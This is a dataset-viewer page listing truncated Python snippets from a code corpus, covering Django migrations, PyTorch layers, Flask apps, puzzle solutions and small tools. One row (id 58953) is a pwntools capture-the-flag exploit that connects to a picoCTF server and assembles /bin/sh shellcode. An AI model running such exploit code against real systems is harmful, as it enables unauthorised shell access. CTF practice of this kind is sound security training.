id stringlengths 1 265 | text stringlengths 6 5.19M | dataset_id stringclasses 7
values |
|---|---|---|
3233102 | <filename>apps/jobs/migrations/0002_auto_20181103_2037.py
# Generated by Django 2.0.6 on 2018-11-03 07:37
import datetime
from django.db import migrations, models
from django.utils.timezone import utc
class Migration(migrations.Migration):
dependencies = [
('jobs', '0001_initial'),
]
... | StarcoderdataPython |
1617692 | <gh_stars>1-10
#!/usr/bin/env python3
# This file is covered by the LICENSE file in the root of this project.
import gorilla
import numpy as np
import torch
import torch.nn as nn
import torch.nn.functional as F
class LocallyConnectedXYZLayer(nn.Module):
def __init__(self,
h: int,
w: i... | StarcoderdataPython |
3274597 | <gh_stars>1-10
import tkinter as tk
from tkinter import E, W, N, S
from tkinter import filedialog
from PIL import ImageTk
from PIL import Image
import numpy as np
def selectpoints():
"""Brings up tkinter gui for selecting an image, and then prompts
the user to enter joint locations in order. There are also bu... | StarcoderdataPython |
1706324 | class Solution(object):
# def letterCasePermutation(self, S):
# ans = [[]]
# for char in S:
# n = len(ans)
# if char.isalpha():
# # Double the ans
# for i in xrange(n):
# ans.append(ans[i][:])
# ans[i].a... | StarcoderdataPython |
58953 | #!/usr/bin/env python2
from pwn import *
r = remote("shell2017.picoctf.com",40492)
for i in range(11):
r.recvuntil("%d:"%i)
r.send("c\n")
#slightly modified shellcode from http://shell-storm.org/shellcode/files/shellcode-811.php
shellcode1 = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\xeb\x0e"
shellcode2 = "\x68\x2f\x62\x69\x6... | StarcoderdataPython |
3323100 | <gh_stars>1-10
import discord
from pymongo import MongoClient
from discord.ext import commands
app = MongoClient('mongo_url')
db = app['database']
guilds = db['guilds']
#gostaria de esclarecer que o formato que uso para as guildas na database é
#{'_id': IDdaGuilda, 'modlog': True/False, 'modlog_ch': IDdoCanal/None}
c... | StarcoderdataPython |
1652197 | import json
from collections import OrderedDict
import openpyxl
import pandas as pd
from .common import *
from .df_utility import *
from .time_utility import *
def methods_from_prob(prob: dict) -> []:
return methods_from_method_list(prob.get('methods', []))
def methods_from_method_list(method_list: list) -> [... | StarcoderdataPython |
1629403 | <filename>rsvis/utils/obj.py
# ===========================================================================
# obj.py -----------------------------------------------------------------
# ===========================================================================
# import ----------------------------------------------... | StarcoderdataPython |
1706104 | n = float(input('A primeira nota do aluno: '))
n1 = float(input('A segunda nota do aluno: '))
print(f'A média do aluno é {(n + n1) / 2}')
| StarcoderdataPython |
1620385 | <reponame>benywon/ComQA<filename>modules/BERT.py
# -*- coding: utf-8 -*-
"""
@Time : 2021/1/14 下午5:09
@FileName: BERT.py
@author: 王炳宁
@contact: <EMAIL>
"""
import copy
import warnings
from torch.nn import functional as F
import apex
import torch
import torch.nn as nn
from apex.contrib.multihead_attn import Encde... | StarcoderdataPython |
3334397 | import abc
from exco.extractor.actor import Actor
from exco.extractor.table_end_conditions.table_end_condition_param import TableEndConditionParam
from exco.extractor.table_end_conditions.table_end_condition_result import TableEndConditionResult
class TableEndCondition(Actor, abc.ABC):
"""Abstract class for Tabl... | StarcoderdataPython |
3370096 | from typing import TYPE_CHECKING, Optional, Dict, List, Set
from decryptoquote.constants import PUNCTUATION
if TYPE_CHECKING:
from pymongo.collection import Collection
class WordPatterns:
"""
This class organizes a set of English words by the pattern of distinct
letters in each word. For example, "t... | StarcoderdataPython |
1743131 | import unittest
from unittest import mock
import commands.commandfactory as commandfactory
import commands.multicommand as multicommand
import filters.allbatchfilter as allbatchfilter
class CommandFactoryTests(unittest.TestCase):
def setUp(self):
self.command_name = 'test'
self.mock_command = moc... | StarcoderdataPython |
51318 | from datetime import datetime
import logging
import os
import sys
from typing import List
import requests
logging.basicConfig(format='%(asctime)s [%(levelname)s] %(message)s', level=logging.INFO)
required_environment_variables: List[str] = [
'RANCHER_BEARER_TOKEN',
'RANCHER_CLUSTER_ID',
'RANCH... | StarcoderdataPython |
1757558 | <reponame>rolandovillca/python_introduction_basic<gh_stars>0
#!/bin/python
'''
PROBLEM 4: Plus Minus:
---------------------
Given an array of integers, calculate which fraction of its elements are
positive, which fraction of its elements are negative, and which fraction of its
elements are zeroes, respectively. Print ... | StarcoderdataPython |
1672548 | # Copyright 2019 <NAME>
# Copyright 2021 Huawei Technologies Co., Ltd
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by app... | StarcoderdataPython |
113213 | from pathlib import Path
from typing import Union
from deliverable_model.serving.model.model_loaders.model_loader_base import (
ModelLoaderBase,
)
class TensorFlowSavedModel(ModelLoaderBase):
name = "tensorflow_saved_model"
@classmethod
def load(cls, model_path: Path, metadata):
from tensorf... | StarcoderdataPython |
193976 |
class initial(object):
pass
INITIAL = initial()
another = INITIAL
print(another is INITIAL) | StarcoderdataPython |
68072 | # Copyright 2020 Huawei Technologies Co., Ltd
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to... | StarcoderdataPython |
126467 | # https://docs.google.com/document/d/1Ljm9S29J-mFOZ3fwrkGohMDrn9fORVteWjzucuZfyaM/edit?usp=sharing
# <NAME>
# 12/12/2021
# Nguyen_HuuHung_accounts.py
# The program stores the Account class, the SavingAccount class, and
# the CreditCardAccount class.
class Account:
''' Account class for representing and
m... | StarcoderdataPython |
3311955 | __author__ = 'DGriffith, ARamkilowan'
"""
.. module:: electro
:synopsis: Realises electronic components in the imaging chain of a remote sensing or surveillance system.
- Detectors and focal plane arrays
- Image processing modules
- Displays
"""
import numpy as np
import pandas as pd
impo... | StarcoderdataPython |
3277431 | from django.contrib import messages
from django.http import HttpResponseRedirect
from django.shortcuts import render
from django.urls import reverse, reverse_lazy
from dashboard.forms import ServiceSubmissionForm
from dashboard.models import ServiceSubmission
from dashboard.utils import verify_brother, get_semester
fr... | StarcoderdataPython |
1719175 | """
DO NOT MODIFY THE VALUES FROM THIS FILE
TO OVERRIDE THESE VALUES, USE config_local.py
"""
"""Game"""
AMOUNT_OF_PLAYERS = 10
# Correct row of options (answers) to the questions
# Note: All separate options need to have angle set in 'OPTION_ANGLES'
CORRECT_ROW = ["c", "b", "c", "c", "c", "b", "a", "c", "a", "c"]
""... | StarcoderdataPython |
1731215 | <reponame>RafaelSdm/Curso-de-Python<gh_stars>1-10
print("avaliacao do aluno:")
dicionario = {}
dicionario['nome'] = str(input("infome o nome do aluno:"))
dicionario['nota1'] = float(input("informe a sua primeira nota:"))
dicionario['nota2'] = float(input("informe a sua segunda nota:"))
media = (dicionario['nota1'] + ... | StarcoderdataPython |
3256456 | <filename>test_suite/microbenchmarks/bench10/test.py
lst = []
i = 0
while i < 100:
i += 1
lst.append(i)
i = 0
while i < 1000000:
i += 1
new_lst = [x for x in lst]
| StarcoderdataPython |
1705288 | import abc
import collections
import functools
import heapq
import io
import itertools
import operator
import os
import random
import sys
import time
import typing as ta
from . import callables
from . import check
from . import lang
from . import properties
from . import toolz
T = ta.TypeVar('T')
map_ = map
filter... | StarcoderdataPython |
3322787 | # coding = utf-8
import gatlin.infra.commonUtils as util
import gatlin.infra.security as sec
from gatlin.nodes.base import AbstractNodeParser
from gatlin.preps import params
# 专门的登录节点处理器
# context--{request, response, environ, initParam, session, misc}
# context包括6个成员:
# request和response代表每次的请求和返回,与请求密切相关,会随着工作流进行而变... | StarcoderdataPython |
81279 | <reponame>mashrafsiddiq/Septor<filename>code/baselines/mlmc.py
from utils import get_stats
def main():
depths = []
mlmc = []
# open csv
with open('mlmc.csv', 'r') as f:
lines = f.readlines()
for line in lines:
tokens = line.split(',')
depths.append(float(tokens[... | StarcoderdataPython |
3360003 | <reponame>mustafa-sarshar/Python-DBMS
from django.db import models
from django.utils.timezone import now
# Define your models from here:
class User(models.Model):
first_name = models.CharField(null=False, max_length=30, default="Mustafa")
last_name = models.CharField(null=False, max_length=30, default="Sarshar... | StarcoderdataPython |
189010 | # pylint: disable=invalid-name, missing-docstring, import-error
from paraview import simple
# read every other persistence diagram
CinemaReader = simple.TTKCinemaReader(DatabasePath="data/pdiags.cdb")
CinemaFilter = simple.TTKCinemaQuery(InputTable=CinemaReader)
CinemaFilter.SQLStatement = """SELECT it.*, printf(
"%... | StarcoderdataPython |
3211992 | # -*- coding: utf-8 -*-
from flask.ext.assets import Bundle
js_filters = ['jsmin']
css_filters = ['cssmin']
js_libs = Bundle(
'js/lib/jquery-1.9.1.min.js',
'js/lib/underscore-min.js',
'js/lib/backbone-min.js',
'js/lib/bootstrap.min.js',
output='gen/js/libs.js'
)
css = Bundle(
'css/bootstrap/c... | StarcoderdataPython |
52328 | import torch
import random
import torch.nn as nn
from abc import abstractmethod
from abc import ABCMeta
from torch import Tensor
from typing import Any
from typing import Dict
from typing import List
from typing import Tuple
from typing import Optional
from .losses import GANLoss
from .losses import GANTarget
from .... | StarcoderdataPython |
4834490 | from django.test import TestCase
from django.core.urlresolvers import reverse
from wagtail.wagtailcore.models import Page
from wagtail.tests.testapp.models import SimplePage, EventPage, EventIndex
from wagtail.tests.utils import WagtailTestUtils
class TestChooserBrowse(TestCase, WagtailTestUtils):
def setUp(self... | StarcoderdataPython |
154532 | # Problem! you teach children about how to calculate the area and perimeter of the square
# and you will solve 20 questions about the way to find area and perimeter. to teach them.
# but that will consume the time, so you want to write a program to reduce the time
# when calculating all 20 quests.
# Now try to solve it... | StarcoderdataPython |
99204 | #
# This file is part of the CMaNGOS Project. See AUTHORS file for Copyright information
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) ... | StarcoderdataPython |
1662089 | import os
from PIL import Image
folder = "bekledingen/keukens"
input_dir = '/Users/ardscheirlynck/Documents/Websites/gruyaert/images/'+folder+'/'
print("sub_images:")
for infile in os.listdir(input_dir):
if "thumbnail" not in infile and "DS_Store" not in infile:
print(" - path: \"" + "/images/" + folder ... | StarcoderdataPython |
3269835 | # Py 3 Compatibility
from __future__ import (absolute_import, division, print_function,
unicode_literals)
import re
# An regular expression that captures the error code from a Lua script's return
# value. We expect all Lua script error messages to start with an error code.
# Expected error code... | StarcoderdataPython |
3259011 | from __future__ import division
def diff_percentage(max_count, min_count, **kwargs):
difference_count = int(max_count) - int(min_count)
if difference_count == 0:
return 0
variation = int(difference_count/int(min_count))*100
return variation
| StarcoderdataPython |
3239520 | <reponame>PerceptronV/vibra
from __future__ import absolute_import, division, print_function, unicode_literals
import numpy as np
from tensorflow import keras
class file(object):
def __init__ (self,src,filename='',encoding='utf-8'):
self.src=src
if filename is '':
self.filenam... | StarcoderdataPython |
91401 | import traceback
import pymel.core as pm
import mgear
from mgear.vendor.Qt import QtCore
from mgear.core.anim_utils import *
# =============================================================================
# constants
# =============================================================================
SYNOPTIC_WIDGET_... | StarcoderdataPython |
3234886 | <gh_stars>0
# Miscellaneous utilities used by the package
from email.mime.text import MIMEText
from smtplib import SMTP
import json
import logging
default_user = None
def get_default_user():
if default_user == None:
import os
for name in ('LOGNAME', 'USER', 'LNAME', 'USERNAME'):
user = ... | StarcoderdataPython |
87670 | <reponame>bluehenry/python.best.practices
import unittest
from utilities.url_utilities import load_urls_from_file
#
# def test_load_file():
# test_urls = load_urls_from_file("input.txt")
# assert (len(test_urls) > 1)
class UrlUtilitiesTest(unittest.TestCase):
def setUp(self) -> None:
pass
de... | StarcoderdataPython |
3276115 | <filename>pyjava_ai.py<gh_stars>0
import tkinter as tk
from Board import Board
import subprocess
import time
#br_00_bb_bq_bk_bb_bn_br=00_00_00_00_00_00_00_00=00_00_bn_00_00_00_00_00=00_00_00_00_00_00_00_00=00_00_00_wp_00_00_00_00=00_00_00_00_wp_00_00_00=wp_wp_wp_00_00_wp_wp_wp=wr_wn_wb_wq_wk_wb_wn_wr"
def java_board_s... | StarcoderdataPython |
1712604 | import re
test_string = '"the" is the most used word in the English language'
def word_count(s: str) -> int:
"""
>>> word_count(test_string)
10
"""
s = re.sub('[^A-Za-z0-9 ]+', '', s)
return len(s.lower().split())
def unique_word_count(s: str) -> int:
"""
>>> unique_word_count(test_... | StarcoderdataPython |
4829354 |
import os, glob, importlib
from itertools import combinations_with_replacement as comb_with_repl
from pdkb.rml import Belief, Possible, RML, Literal, neg, parse_rml
from pdkb.kd45 import PDKB, kd_closure
from pdkb import ancillary
SIMPLIFY_INTROSPECTION = True
DEBUG = False
class Action(object):
def __init__(... | StarcoderdataPython |
1732670 | from flask import Flask, render_template, request, jsonify
import torch
import torch.nn as nn
from bigru_model import BIGRU
from bilstm_model import BILSTM
from embeddings import GloVeEmbedding
import pandas as pd
import config
from keras.preprocessing.text import Tokenizer
app = Flask(__name__)
MODEL = None
def sen... | StarcoderdataPython |
173778 | # Generated by Django 2.1.7 on 2019-03-22 06:40
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('app', '0002_workoutplan'),
]
operations = [
migrations.CreateModel(
name='ExerciseTrack',
... | StarcoderdataPython |
4831077 | # Copyright 2018 Alibaba Inc. All Rights Conserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or... | StarcoderdataPython |
3344681 | import psycopg2
import json
from secrets import get_secret_image_gallery
connection = None
def get_secret():
jsonString = get_secret_image_gallery()
return json.loads(jsonString)
def get_password(secret):
return secret['password']
def get_host(secret):
return secret['host']
def get_username(secret)... | StarcoderdataPython |
109311 | <filename>analysis/analysis.py<gh_stars>0
from collections import Counter, defaultdict, namedtuple
from dataclasses import dataclass
from typing import List, Set, Tuple, Dict, Iterable
from pathlib import Path
from pprint import pprint
import csv
PROJECT_DIR = Path(__file__).parent.parent
FILE=PROJECT_DIR/'data/java... | StarcoderdataPython |
3344582 | <reponame>veltzer/pyscrapers
import http.client
import logging
import requests
from requests.adapters import TimeoutSauce
from pyscrapers.configs import ConfigRequests, get_cookies
class MyTimeout(TimeoutSauce):
def __init__(self, *args, **kwargs):
if kwargs['connect'] is None:
kwargs['conn... | StarcoderdataPython |
1745350 | <reponame>Sinan828/oslbaasv1_for_cmcc<filename>common/f5/bigip/interfaces/rule.py<gh_stars>0
# Copyright 2014 F5 Networks Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://ww... | StarcoderdataPython |
1791119 | <filename>parsedmarc/cli.py
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""A CLI for parsing DMARC reports"""
from argparse import ArgumentParser
from glob import glob
import logging
from collections import OrderedDict
import json
from ssl import CERT_NONE, create_default_context
from parsedmarc import IMAPError... | StarcoderdataPython |
42830 | import mysql.connector
from fixture.orm import ORMFixture
from model.group import Group
db = ORMFixture(host="127.0.0.1", database = "addressbook", user = "root", password = "")
#connection = mysql.connector.connect(host="127.0.0.1", database = "addressbook", user = "root", password = "")
try:
l = db.get_group_li... | StarcoderdataPython |
76607 | <reponame>thenigan/online-ratings
from flask import current_app, jsonify, url_for
from . import api
@api.route('/')
def api_list():
'''return a json list of api endpoints'''
urls = {}
for rule in current_app.url_map.iter_rules():
if rule.endpoint is not 'static' and rule.endpoint.startswith('api.'... | StarcoderdataPython |
1733354 | <filename>src/utils/models.py
import tensorflow as tf
import os
import logging
def get_VGG_16_model(input_shape, model_path):
model = tf.keras.applications.vgg16.VGG16(
input_shape = input_shape,
weights = "imagenet",
include_top = False
)
model.save(model_path)
logging.info(... | StarcoderdataPython |
164280 | <filename>models/modules/__init__.py
#Nothing much here except import
from .Net import Net
| StarcoderdataPython |
3364025 | <gh_stars>1-10
import serial
import numpy
import statistics
import cmath
import datetime
import os
import time
def average(arr):
return sum(arr) / len(arr)
print("Enter the com port")
port = str(input())
print("Enter the frequency in MHz")
fMin = int(float(input()) * 1e6)
print("Enter number of samples")
samp =... | StarcoderdataPython |
3260069 | <filename>python/icatt/elements.py<gh_stars>1-10
import numpy as np
from numba import njit, jit
import time
def benchmark(times):
r = np.array([8.59072560e+02, -4.13720368e+03, 5.29556871e+03])
v = np.array([7.37289205e+00, 2.08223573e+00, 4.39999794e-01])
mu = 3.986004418e5
el = elements(r, v, mu)
... | StarcoderdataPython |
3250732 | <reponame>alexvnilsson-edu/biograf-seeder<filename>commands/movie/lista.py
from . import click, cli
from database.module import movie
from database.errors import DbQueryError
from core.output import print_table, Table
@cli.command(name="lista")
def cli():
movies = movie.list()
table_header = ["ID", "Titel", "... | StarcoderdataPython |
1710580 | <gh_stars>0
# Databricks notebook source
# MAGIC %md
# MAGIC #### References:<br>
# MAGIC https://docs.azuredatabricks.net/user-guide/importing-data.html<br>
# MAGIC https://docs.azuredatabricks.net/spark/latest/faq/join-two-dataframes-duplicated-column.html<br>
# MAGIC
# MAGIC https://spark.apache.org/docs/latest/api... | StarcoderdataPython |
131269 | <reponame>BinhMinhs10/JointIDSF
import numpy as np
import torch
import torch.nn as nn
class Attention(nn.Module):
"""Applies attention mechanism on the `context` using the `query`.
Args:
dimensions (int): Dimensionality of the query and context.
attention_type (str, optional): How to compute t... | StarcoderdataPython |
165729 | from pygame import time,event,MOUSEBUTTONDOWN,MOUSEBUTTONUP
_Clic = [0,0,0,0,0,0]
_Ticks = [0,0,0,0,0,0]
LAPS = 200
time.Clock()
def wait():
ev=event.wait()
_foo(ev)
return ev
def poll():
ev=event.poll()
_foo(ev)
return ev
def get():
ev=event.get()
for e in ev: _foo(e)
return ev
... | StarcoderdataPython |
149987 | <gh_stars>1-10
import numpy as np
import pandas as pd
print(pd.__version__)
# create a dataframe with non-lexsorted multilevel columns
df = pd.DataFrame(
np.arange(12).reshape(3, 4),
columns=pd.MultiIndex.from_tuples([("B", 1), ("B", 2), ("A", "3"), ("A", "4")]),
)
df.loc[:, "A"] = np.zeros(
(3, 2)
) #... | StarcoderdataPython |
154735 | <gh_stars>0
import asyncio
import logging
import ssl
import websockets
import time
import traceback
# Initializes and retrieves this module logger
logger = logging.getLogger(__name__)
class BadResponseSyntax(RuntimeError):
"""Thrown by `parse_availability_response()` if command or arguments are incorrect."""
... | StarcoderdataPython |
109548 | import numpy as np
import multiprocessing
OPTIMAL_CHUNK_SIZE_EFAST = 50
get_chunk_size_eFAST = lambda num_params: min(OPTIMAL_CHUNK_SIZE_EFAST, num_params)
def random_samples(iterations, num_params, seed=None):
"""Random standard uniform sampling for all iterations and parameters with an option of fixing random ... | StarcoderdataPython |
72700 | <filename>tests/timers/PeriodicTimer.py<gh_stars>1-10
'''
Created on Sep 19, 2020
@author: esdev
'''
from slacm.component import Component
class PeriodicTimer(Component):
def __init__(self):
super(PeriodicTimer, self).__init__()
def on_periodic(self):
now = self.periodic.recv_pyobj()... | StarcoderdataPython |
47497 | import asyncio
import logging
import os
from time import time
from yarl import URL
from ..client.client import Client
from ..client.request import HTTPMethod, Request
from .asynctest import AsyncTest
class TestClient(AsyncTest):
@classmethod
def setUpClass(cls):
logger = logging.getLogger('client')... | StarcoderdataPython |
3231085 | # a=("<NAME>")
# b=(list(a))
# count = 0
# for i in b:
# if " " in i:
# count+=1
# print count
"25" > 25 | StarcoderdataPython |
1622375 | <filename>src/lambda_codebase/account_processing/configure_account_tags.py
# Copyright 2021 Amazon.com, Inc. or its affiliates. All Rights Reserved.
# SPDX-License-Identifier: MIT-0
"""
Creates or adds tags to an account.
Currently only appends new tags.
Will not delete tags that aren't
in the config file.
"""
from o... | StarcoderdataPython |
3384985 | <filename>sqlpie/models/content_term.py
# -*- coding: utf-8 -*-
"""
SQLpie License (MIT License)
Copyright (c) 2011-2016 <NAME>, http://sqlpie.com
See LICENSE file.
"""
from flask import g
import sqlpie
class ContentTerm(object):
__tablename = "content_terms"
def __init__(self, bucket_id, document_id, key_... | StarcoderdataPython |
31569 | import pathlib
import configparser
class ConfigManager:
DEFAULT_CONFIG_PATH = "~/.config/notify-sync.ini"
SETTING_NOTIFICATION_ICON = "icon"
SETTING_NOTIFICATION_TIMEOUT = "timeout" # in ms
# SETTING_NOTIFICATION_URGENCY = "urgency" # 0,1,2 low, avg, urgent
SETTING_NOTIFICATION_EXEC = "exec_on... | StarcoderdataPython |
66087 | GENDER, PHOTO, LOCATION, BIO = range(4)
| StarcoderdataPython |
3390834 | <reponame>karimation/hackerrank
# https://www.hackerrank.com/challenges/crush
#!/bin/python3
import math
import os
import random
import re
import sys
class intersection:
def __init__(self, start, end, value):
self.start = start
self.end = end
self.value = value
def display(self):
... | StarcoderdataPython |
1659084 | """project URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/3.1/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: path('', views.home, name='home')
Class-based... | StarcoderdataPython |
1726515 | <gh_stars>1-10
from flask_wtf import FlaskForm
from wtforms import StringField, PasswordField, SubmitField, BooleanField, HiddenField
from wtforms.validators import DataRequired, Email, Length, EqualTo, ValidationError
from app.models.user import User
password_validation = [Length(min=8, message='Password must be at... | StarcoderdataPython |
1762679 | from flask import request
from app import app
from app.auditing.event_reader import CloudstackEventReader
@app.route('/consume_audit_queue')
def consume_audit_queue():
region = request.args.get('region')
if region is None:
return "Parameter 'region' should be informed"
CloudstackEventReader(region... | StarcoderdataPython |
4830385 | <reponame>mohitjain97/isilon_sdk_python
# coding: utf-8
"""
Isilon SDK
Isilon SDK - Language bindings for the OneFS API # noqa: E501
OpenAPI spec version: 8
Contact: <EMAIL>
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
import pprint
import re # noqa: F401
import six
... | StarcoderdataPython |
87949 | <filename>myPortfolio/myPortfolio/apps/main/views.py<gh_stars>0
from django.http import Http404, HttpResponseRedirect
from django.utils import timezone
from django.shortcuts import render
from django.urls import reverse
from .models import Comment
#from django.http import HttpResponse
def index(request):
latest_c... | StarcoderdataPython |
1749326 | # -*- encoding:utf-8 -*-
import uuid
import pathlib
from . import platform
from . import configs
BASE_UUID = uuid.UUID('1fa4a144-302f-4b31-8ba3-b97d6ae0b47f')
sourceSuffix = {'.cpp', '.c', '.cxx'}
headerSuffix = {'.h', '.hpp'}
class Project:
def __init__(self, base, name):
self.base = base
self.name = name
... | StarcoderdataPython |
1667646 | from .cli import cli
from .web import app
__all__ = ['cli']
| StarcoderdataPython |
1627899 | import torch
import torch.nn as nn
import torch.nn.functional as F
from torch_geometric.nn import GCNConv, GATConv, SAGEConv, ChebConv, GINConv, APPNP
####################################################################
# Link Prediction Models
####################################################################
'''
d... | StarcoderdataPython |
3248787 | #!/usr/bin/env python
"""
Reverse engineering of basemap GEO coordinates from lat/lon arrays.
"""
import os
from netCDF4 import Dataset
from mpl_toolkits.basemap import Basemap
from matplotlib.pyplot import figure, show, title, savefig
from numpy import arange
#---
def getCoords(m,lon,lat,name):
# No undefs
... | StarcoderdataPython |
1705778 | <filename>modules/shared/programs/python/files/python/startup.py<gh_stars>1-10
import os
def register_readline():
import atexit
import readline
history = os.path.join(os.path.expanduser('~'), '.cache/python_history')
try:
readline.read_history_file(history)
except OSError:
pass
... | StarcoderdataPython |
4820142 | import re
import sys
import csv
import json
import random
import requests
def getPackage(packageName, current=False):
if current:
return requests.get('https://registry.npmjs.org/'+packageName).json()
try:
package = json.load(open('./packagejson/npm_packs_2017-06-01/{0}.json'.format(packageName... | StarcoderdataPython |
3262813 | # Write a Python program to read the book information from the user and
# store in a CSV file containing rows in the following format:bookNo, title, author, price
# Develop a menu-driven program (with functions for each) with the
# following options:
# 1:Search Book by author
# 2:Search Books below specified price (Rai... | StarcoderdataPython |
1747971 | <reponame>Chainso/HLRL
from typing import Tuple
import torch
import torch.nn as nn
from torch.distributions import Normal, OneHotCategorical
from .linear import LinearPolicy
class GaussianPolicy(nn.Module):
"""
A simple gaussian policy.
"""
LOG_STD_MIN = -20
LOG_STD_MAX = 2
def __init__(
... | StarcoderdataPython |
4812431 | <reponame>raoulcapello/timelinor
from django.db import models
from django.contrib.auth.models import AbstractUser
# Using a custom User model, as suggested by the Django docs:
# https://docs.djangoproject.com/en/3.2/topics/auth/customizing/#using-a-custom-user-model-when-starting-a-project
class User(AbstractUser):... | StarcoderdataPython |
158902 | import analytics
import logging,time,subprocess
from bson.objectid import ObjectId
from os import listdir,environ,makedirs,path
import sys,time
import graypy
from pymongo import MongoClient
import settings
analytics.write_key = settings.ANALYTICS_KEY
analytics.identify('downloader', traits={
'email': settings.REPO... | StarcoderdataPython |
1642371 | <filename>binding.gyp<gh_stars>0
{
"targets": [
{
"target_name": "native_prime_search",
'link_settings': {
'libraries': ['-lgmp'],
},
"sources": [ "cc-src/addon.c", "cc-src/prime_search.c" ]
}
]
}
| StarcoderdataPython |
10729 | import sys,os
sys.path.append('/home/zongdaoming/cv/multi-organ/multi-organ-ijcai')
from lib.losses.BaseClass import _AbstractDiceLoss
from lib.losses.basic import *
class DiceLoss(_AbstractDiceLoss):
"""Computes Dice Loss according to https://arxiv.org/abs/1606.04797.
For multi-class segmentation `weight` pa... | StarcoderdataPython |
1744258 | # project/tests/test_users.py
import json
import unittest
from project.tests.base import BaseTestCase
from project import db
from project.api.models import ItemStatus
status_1 = 'status_1'
status_2 = 'status_2'
status_3 = 'status_3'
def add_item_status(name, value, value_type):
item_status = ItemStatus(name=na... | StarcoderdataPython |
14532 | <gh_stars>0
#####################################################.
# This file stores all the functions #
# used for genrating all parameters #
#####################################################.
from rdkit.Chem import AllChem as Chem
from rdkit.Chem import rdMolTransforms
import os
i... | StarcoderdataPython |
3281740 | <gh_stars>0
#!/usr/bin/env python
import rospy
from lab_ros_aruco.msg import DetectedMarkers
import time
import tf2_ros
import tf2_geometry_msgs
import threading
from geometry_msgs.msg import PoseStamped
class ArucoTagModule(object):
"""Wrapper for Aruco Module
"""
def __init__(self):
rospy.Subscr... | StarcoderdataPython |
4817234 | <gh_stars>0
# Copyright 2016 <NAME>
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agr... | StarcoderdataPython |
1793561 | import numpy as np
import matplotlib
from matplotlib import pyplot as plt
import cv2
from PIL import Image, ImageDraw
def pop_and_add(l, val, max_length):
if len(l) == max_length:
l.pop(0)
l.append(val)
def last_ip(ips):
for i, ip in enumerate(reversed(ips)):
if ip is not None:
... | StarcoderdataPython |
60635 | <gh_stars>1-10
from .batcher import Batcher
from .apply import decorator_apply
from .apply_batch import decorator_apply_batch
| StarcoderdataPython |
1791441 | <gh_stars>1-10
#! /usr/bin/env python
"""
Takes as input one 3-column (a,b,c) input CSV and outputs
a 3-column (a',b',c') output CSV with the square of each
term, and also a 1-column (u) CSV with the mean of (a,b,c)
"""
import csv
import argparse
import sys
# ArgumentParser facilitates parsing inputs from sys.argv, ... | StarcoderdataPython |
1780616 | <reponame>marina-haliem/Dynamic-RideSharing-Pooling-Simulator<filename>simulator/models/vehicle/vehicle_repository.py
from .vehicle import Vehicle
from .vehicle_state import VehicleState
import pandas as pd
class VehicleRepository(object):
vehicles = {}
@classmethod
def init(cls):
cls.vehicles = {... | StarcoderdataPython |
70927 | #!/usr/bin/env python
# -*- coding:utf-8 -*-
def max_min(v):
m_min, m_max = min(v[0], v[-1]), max(v[0], v[-1])
for i in v[1:len(v)-1]:
if i<m_min:
m_min = i
elif i > m_max:
m_max = i
return m_min, m_max
if __name__ == '__main__':
m_min, m_max = max_min([9, ... | StarcoderdataPython |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.